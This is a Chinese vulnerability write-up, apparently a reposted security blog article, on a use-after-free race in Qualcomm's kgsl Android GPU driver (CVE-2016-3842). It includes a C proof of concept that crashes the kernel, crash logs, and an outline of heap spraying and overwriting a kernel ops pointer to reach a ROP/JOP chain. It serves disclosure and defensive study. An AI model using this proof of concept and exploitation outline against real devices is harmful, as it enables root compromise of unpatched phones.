360播报的文章质量真的不错，无论长度还是内容，sakaison没有特别的阅读顺序，看到什么有趣的就贴上来，也算是留给自己以后看吧。
（一）、前言
就在几天之前，安全研究专家在高通芯片内发现了一系列严重的Android安全漏洞，受这些漏洞影响的Android智能手机和平板电脑数量将会超过九亿台。更可怕的是，大部分受漏洞影响的Android设备可能永远都不会被修复。
据了解，安全研究专家此次曝光了四个漏洞，这一组漏洞代号为“Quadrooter”。这些漏洞存在于配备了高通芯片的Android设备中，受影响的Android系统版本为Android 6.0（Marshmallow）及其以下版本。攻击者可以利用这些漏洞来获取到目标设备（配备了高通芯片）的完整访问权限。
这四个安全漏洞分别为：
1. CVE-2016-2503：该漏洞存在于高通芯片的GPU驱动程序中，谷歌公司在2016年7月份的安卓安全公告中正式宣布成功修复了此漏洞。
2. CVE-2016-2504：该漏洞存在于高通芯片的GPU驱动程序中，谷歌公司在2016年8月份的安卓安全公告中正式宣布成功修复了此漏洞。
3. CVE-2016-2059：该漏洞存在于高通芯片的内核模块中，公司于今年四月份就已经修复了该漏洞。
4. CVE-2016-5340：该漏洞同样存在于高通芯片的GPU驱动程序中，该漏洞目前已成功修复。
攻击者只需要开发一个简单的恶意软件，然后将恶意软件发送给目标用户。一旦恶意软件成功安装，攻击者就能够直接获取到感染设备的root访问权限。
我们在下面这份列表中列出了当前较为热门的几款受影响设备，虽然还有很多其他的移动设备同样会受到上述漏洞的影响，但是由于相关设备的数量过于庞大，所以我们在此无法一一列举。
－Samsung Galaxy S7、Samsung S7 Edge
－Sony Xperia Z Ultra
－OnePlus One、OnePlus 2、OnePlus 3
－Google Nexus 5X、Nexus 6、Nexus 6P
－Blackphone 1、Blackphone 2
－HTC One、HTC M9、HTC 10
－LG G4、LG G5、LG V10
－New Moto X（Motorola）
－BlackBerry Priv
（二）、漏洞概述
2016年8月份的Nexus安全公告对这一漏洞（CVE-2016-3842）进行了评估，感兴趣的读者可以点击这里阅读这份安全公告。
细心的读者可能已经发现了，这个漏洞似乎分配到了两个CVE编号。这也就意味着，将会出现一个修复补丁将会同时修复两个漏洞的情况，请大家不要惊讶。
另外一个漏洞就是前言所提到的CVE-2016-2504，该漏洞的发现者是Adam Donenfeld。
我对漏洞CVE-2016-2504进行了分析，但是我无法找出这两个CVE漏洞之间的区别，所以我推测这两个漏洞描述的是同一个问题。所以在这篇文章中，我只会对我上报给谷歌公司的那个初始漏洞进行描述。
（三）、技术细节：
ioctl是设备驱动程序中对设备的I/O通道进行管理的函数，所谓对I/O通道进行管理，指的就是对设备的一些特性进行控制。ioctl函数是文件结构中的一个属性分量，如果你的驱动程序提供了对ioctl的支持，用户就能在用户程序中使用ioctl函数控制设备的I/O通道。
高通的MSM GPU驱动程序（也被称为kgsl驱动）提供了一个ioctl命令－IOCTL_KGSL_GPUMEM_ALLOC，这条控制命令可以允许用户态的应用程序分配得到GPU与主存共享的那一部分内存空间。
在这个函数中，驱动程序将会创建一个名为“kgsl_mem_entry”的结构体来标识被分配出去的那块内存空间。
当某一线程向kgsl驱动程序发送了IOCTL_KGSL_GPUMEM_ALLOC命令之后，函数“kgsl_mem_entry_attach_process”将会通过调用“idr_alloc”函数来为“kgsl_mem_entry”对象分配一个id。
但是在这个时候，可能有其他的线程会在函数“kgsl_ioctl_gpumem_alloc”的结果值还没正常返回的情况下，就发送IOCTL_KGSL_GPUMEM_FREE_ID命令去释放刚刚分配的结构体对象（kgsl_mem_entry）。
这也就意味着，函数“kgsl_ioctl_gpumem_alloc”将会继续使用这个已经被释放了的“kgsl_mem_entry”对象。
正如技术人员在补丁文件中写到的那样：
“如果我们过早地在idr和rb进程树中添加了kgsl_mem_entry指针，那么其他的线程就可以在这一对象得到创建函数的返回值之前，通过猜测对象ID或者GPU地址来操作这个结构体对象了。”
实际上，“kgsl_mem_entry”对象的ID其实是非常好猜测的。你在内核中分配的第一个entry其ID永远都为1。
（四）、概念验证POC
所以，你可以通过下列操作代码来触发这个漏洞：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void kgsl_poc(){ //kgsl_sharedmem_page_alloc_user int fd = open ( "/dev/kgsl-3d0" ,0); struct kgsl_gpumem_alloc_id arg; arg.flags = 0; arg.size = 0xa18fb010b0c08000; ioctl(fd,IOCTL_KGSL_GPUMEM_ALLOC_ID, &arg); } int main(int argc, char *argv[]) { kgsl_poc(); return 0; }
运行结果：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <1>[ 96.006342] Unable to handle kernel NULL pointer dereference at virtual address 0000000c <1>[ 96.006370] pgd = ffffffc0303dd000 <1>[ 96.006379] [0000000c] *pgd=0000000000000000 <0>[ 96.006403] Internal error: Oops: 96000005 [ #1] PREEMPT SMP <4>[ 96.006422] CPU: 2 PID: 5898 Comm: report Tainted: G W 3.10.73-g8c0675f #1 <4>[ 96.006432] task: ffffffc05ac7d600 ti: ffffffc03cd54000 task.ti: ffffffc03cd54000 <4>[ 96.006457] PC is at msm_iommu_map_range+0x8c /0x344 <4>[ 96.006468] LR is at msm_iommu_map_range+0x6c /0x344 <4>[ 96.006478] pc : [<ffffffc0009eb5e8>] lr : [<ffffffc0009eb5c8>] pstate: 80000145 <4>[ 96.006485] sp : ffffffc03cd57b60 <4>[ 96.006493] x29: ffffffc03cd57b60 x28: ffffffc03cd54000 <4>[ 96.006507] x27: 0000000000000001 x26: 0000000000000000 <4>[ 96.006521] x25: ffffffc03cd57bf0 x24: 0000000000100000 <4>[ 96.006536] x23: 00000000e8000000 x22: ffffffc001afe000 <4>[ 96.006551] x21: 0000000000000000 x20: ffffffc0b655c4c0 <4>[ 96.006566] x19: 0000000000100000 x18: ffffffc03cd57968 <4>[ 96.006581] x17: 0000000000000000 x16: 0000000000000000 <4>[ 96.006595] x15: 0000000000000000 x14: 0ffffffffffffffe <4>[ 96.006610] x13: 0000000000000010 x12: 0101010101010101 <4>[ 96.006625] x11: 7f7f7f7f7f7f7f7f x10: 765e6e735e787173 <4>[ 96.006640] x9 : 7f7f7f7f7f7f7f7f x8 : 000e773888717246 <4>[ 96.006655] x7 : 0000000000000018 x6 : ffffffc0009eb55c <4>[ 96.006669] x5 : ffffffc0b655c4c0 x4 : 0000000000000000 <4>[ 96.006684] x3 : 0000000000000000 x2 : ffffffc0b9e6c118 <4>[ 96.006699] x1 : ffffffc0b9f03018 x0 : 0000000000000012 <4>[ 96.006713] <0>[ 96.006722] Process report (pid: 5898, stack limit = 0xffffffc03cd54058) <4>[ 96.006731] Call trace: <4>[ 96.006744] [<ffffffc0009eb5e8>] msm_iommu_map_range+0x8c /0x344 <4>[ 96.006756] [<ffffffc0009e6388>] iommu_map_range+0x20 /0x34 <4>[ 96.006776] [<ffffffc00057f47c>] kgsl_iommu_map+0x1ac /0x1f8 <4>[ 96.006788] [<ffffffc00057c174>] kgsl_mmu_map+0x94 /0x114 <4>[ 96.006807] [<ffffffc00056c81c>] kgsl_mem_entry_attach_process.isra.26+0x120 /0x170 <4>[ 96.006819] [<ffffffc00056d098>] kgsl_ioctl_gpumem_alloc+0x64 /0x144 <4>[ 96.006833] [<ffffffc00056f488>] kgsl_ioctl_helper+0x220 /0x2b8 <4>[ 96.006844] [<ffffffc00056f53c>] kgsl_ioctl+0x1c /0x28 <4>[ 96.006862] [<ffffffc00030c1e0>] do_vfs_ioctl+0x4a8 /0x57c <4>[ 96.006874] [<ffffffc00030c310>] SyS_ioctl+0x5c /0x88 <0>[ 96.006888] Code: 35000700 b9407040 910243b9 b9009fa0 (b9400eb4) <4>[ 96.006927] ---[ end trace 221b98014bd
Poison Overwritten：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <3>[ 181.749195] ============================================================================= <3>[ 181.749229] BUG kmalloc-192 (Tainted: G W ): Poison overwritten <3>[ 181.749246] —————————————————————————————————————— <3>[ 181.749246] <4>[ 181.749268] Disabling lock debugging due to kernel taint <3>[ 181.749289] INFO: 0xffffffc0af755f88-0xffffffc0af755f8f. First byte 0x0 instead of 0x6b <3>[ 181.749332] INFO: Allocated in _gpumem_alloc.constprop.11+0xe0 /0x220 age=0 cpu=2 pid=1678 <3>[ 181.749360] alloc_debug_processing+0xc8 /0x16c <3>[ 181.749387] __slab_alloc.isra.20.constprop.27+0x27c /0x2dc <3>[ 181.749411] kmem_cache_alloc_trace+0x74 /0x1c8 <3>[ 181.749434] _gpumem_alloc.constprop.11+0xdc /0x220 <3>[ 181.749459] kgsl_ioctl_gpumem_alloc+0x40 /0x18c <3>[ 181.749485] kgsl_ioctl_helper+0x2c4 /0x340 <3>[ 181.749508] kgsl_ioctl+0x3c /0x50 <3>[ 181.749532] vfs_ioctl+0x60 /0x74 <3>[ 181.749555] do_vfs_ioctl+0x98 /0x610 <3>[ 181.749577] SyS_ioctl+0x70 /0xac <3>[ 181.749603] cpu_switch_to+0x48 /0x4c <3>[ 181.749633] INFO: Freed in kgsl_mem_entry_destroy+0xac /0x1a4 age=0 cpu=1 pid=1680 <3>[ 181.749658] free_debug_processing+0x204 /0x2ac <3>[ 181.749680] __slab_free+0x1b8 /0x2cc <3>[ 181.749703] kfree+0x218 /0x220 <3>[ 181.749726] kgsl_mem_entry_destroy+0xa8 /0x1a4 <3>[ 181.749750] _sharedmem_free_entry+0x214 /0x22c <3>[ 181.749774] kgsl_ioctl_gpumem_free_id+0x158 /0x164 <3>[ 181.749799] kgsl_ioctl_helper+0x2c4 /0x340 <3>[ 181.749822] kgsl_ioctl+0x3c /0x50 <3>[ 181.749844] vfs_ioctl+0x60 /0x74 <3>[ 181.749867] do_vfs_ioctl+0x98 /0x610 <3>[ 181.749889] SyS_ioctl+0x70 /0xac <3>[ 181.749913] cpu_switch_to+0x48 /0x4c <3>[ 181.749936] INFO: Slab 0xffffffbc06da9480 objects=28 used=28 fp=0x (null) flags=0x4080 <3>[ 181.749956] INFO: Object 0xffffffc0af755f80 @offset=8064 fp=0xffffffc0af757180
（五）、漏洞利用
在我看来，虽然攻击者可以利用这个漏洞来进行攻击，但是针对该漏洞的利用技术非常不稳定。
我很想跟大家分享一些关于这一漏洞的利用技术，但是说实话，我自己也没能够完全掌握该漏洞的利用技巧。
对于我自己而言，只有稳定且通用的漏洞利用技术才值得花时间去开发，所以我就不打算在这个漏洞上花费太多的时间和精力了。
为了避免在漏洞利用的过程中出现内核崩溃的情况，你需要在短时间内重新为系统分配一个新的“mem_entry”对象（因为之前的对象已经被清空了），而且至少要在分配进程访问“msm_iommu_map_range”地址之前完成你的对象分配操作。
在这一过程中不得不提到一项技术，即堆喷射技术。在计算机安全领域中，如果想要实现任意代码执行，那么堆喷射技术（Heap Spraying）就是一种较为容易的技术实现手段了。在一般情况下，堆喷射代码会试图将自身大面积地填充至进程的堆栈空间中，并以正确的方式将命令写满这部分内存区域，以实现在目标进程的内存中预留位置，并写入任意的控制指令。
为了实现这一步操作，我尝试了多种方法，包括采用堆喷射技术来填充内核空间。但是我在测试之后发现，我所采用的最佳方法其成功率也只有40%，大部分情况下内核都会发生崩溃。我所采用的方法就是通过seccomp-bpf程序配合堆喷射技术，迅速将数据内容填充堆内存空间。谷歌的Project Zero团队曾在去年的一篇文章中介绍过这项技术，感兴趣的读者可以点击这里进行阅读。需要注意的是，seccomp-bpf只能用于对版本为3.10的内核进行堆喷操作。如果我们能够重新填充之前被意外释放的那部分内存空间，那么控制目标计算机的注册表也就是一件很简单的事情了。
在“kgsl_mem_entry”结构体中，存在一个名为“kgsl_memdesc_ops”的结构体指针，它可以被攻击者完全控制：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 struct kgsl_mem_entry { struct kref refcount; struct kgsl_memdesc memdesc; void *priv_data; struct rb_node node; unsigned int id; struct kgsl_process_private *priv; int pending_free; }; /* shared memory allocation */ struct kgsl_memdesc { struct kgsl_pagetable *pagetable; void *hostptr; unsigned int hostptr_count; unsigned long useraddr; unsigned int gpuaddr; phys_addr_t physaddr; size_t size; unsigned int priv; struct scatterlist *sg; unsigned int sglen; struct kgsl_memdesc_ops *ops; /* ====== the POINTER of ops you can control */ unsigned int flags; struct device *dev; struct dma_attrs attrs; }; struct kgsl_memdesc_ops { unsigned int vmflags; int (*vmfault)( struct kgsl_memdesc *, struct vm_area_struct *, struct vm_fault *); void (* free )( struct kgsl_memdesc *memdesc); int (*map_kernel)( struct kgsl_memdesc *); void (*unmap_kernel)( struct kgsl_memdesc *); };
通过重写“kgsl_memdesc_ops”指针，并让它指向你的ROP/JOP链，你就可以成功实现内核代码执行了。
（六）、修复补丁：
https://android.googlesource.com/kernel/msm/+/973f4134d9deb396415846f902848f0a32cb4cfa
（七）、漏洞时间轴
2016年4月25日：将该漏洞提交给谷歌公司；
2016年5月5日：谷歌公司对该漏洞进行了评估，并将该漏洞的评级设置为“高危漏洞”；
2016年6月29日：该漏洞分配到了编号CVE-2016-3842；
2016年8月1日：2016年8月份的Nexus安全公告正式披露了该漏洞的内容
（八）、总结
Android系统的安全问题真是令人头疼的问题。再加上近期高通公司的处理器芯片频爆漏洞，无疑是在给Android手机目前的安全现状雪上加霜。
高通（Qualcomm）是一家美国的无线电通信技术研发公司，成立于1985年7月，在以技术创新推动无线通讯向前发展方面扮演着重要的角色。目前，高通公司所生产的CPU芯片和GPU芯片已经被广泛应用于各大厂商的安卓智能手机上了，考虑到如此大的用户群体，高通公司是不是应该加强产品的安全监管呢？
当然了，无论产品做得多么优秀，安全问题永远都会存在。没有折不断的茅，也没有攻不破的盾。也许这就是信息安全吧！
（九）、参考链接
1.kgsl驱动程序中的另一个漏洞（已于2016年6月修复）：
http://retme.net/index.php/2016/06/12/CVE-2016-2468.html
2.2016年8月份的Nexus安全公告：
https://source.android.com/security/bulletin/2016-08-01.html
3.Project Zero项目团队于2015年1月份发表的技术文章（涉及seccomp-bpf）：
http://googleprojectzero.blogspot.jp/2015/01/exploiting-nvmap-to-escape-chrome.html
4.漏洞修复补丁：
https://android.googlesource.com/kernel/msm/+/973f4134d9deb396415846f902848f0a32cb4cfa
5.“Quadrooter”漏洞报告（The Hacker News）：
http://thehackernews.com/2016/08/hack-android-phone.html
本文由 安全客 原创发布，如需转载请注明来源及本文地址。 本文地址：http://bobao.360.cn/learning/detal/2959.html
